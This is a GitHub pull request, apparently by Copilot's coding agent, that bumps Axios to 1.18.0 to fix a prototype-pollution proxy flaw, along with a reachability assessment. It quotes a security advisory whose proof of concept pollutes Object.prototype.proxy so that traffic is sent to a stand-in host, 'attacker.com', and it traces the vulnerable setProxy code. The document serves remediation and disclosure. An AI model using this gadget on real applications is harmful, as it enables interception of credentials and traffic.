Update Axios to remediate prototype pollution proxy vulnerability by Copilot · Pull Request #64 · advanced-security/GSSAR

Copilot · 2026-08-03T07:55:58Z

Axios 1.15.0 can consume a prototype-polluted config.proxy, allowing HTTP traffic interception. The dependency is updated to 1.18.0, the lowest release without current Axios audit findings.

Changes

Updated Axios from ^1.15.0 to ^1.18.0.
Regenerated the npm lockfile.
Selected 1.18.0 because additional advisories affect versions through 1.17.0.

Reachability Assessment

Not reachable — high confidence.

Axios is a development-only dependency.
Application source neither imports Axios nor configures affected options such as proxy, transport, or HTTP agents.
Runtime Google API traffic uses googleapis, not Axios.

The update primarily clears dependency vulnerability findings rather than mitigating an active runtime exposure.

Original prompt

This section details the Dependabot vulnerability alert you should resolve

<alert_title>axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy</alert_title>
<alert_description># Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	MITM within the application's network context
Confidentiality	High	Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames)
Integrity	High	Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike `transformResponse` which must return `true`
Availability	Low	Attacker could drop requests or return errors, but this is secondary to C/I impact

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
defaultToConfig2 for proxy is never called
The merged config has no own proxy property
When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
  auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});

3. The Execution

At http.js:668-670:

setProxy(
  options,
  config.proxy,    // ← traverses prototype chain → finds polluted proxy
  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);

setProxy() at http.js:191-239 then:

function setProxy(options, configProxy, location) {
  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }
  // ...
  if (proxy) {
    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'
...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Resolves advanced-security/GSSAR alert #731

Copilot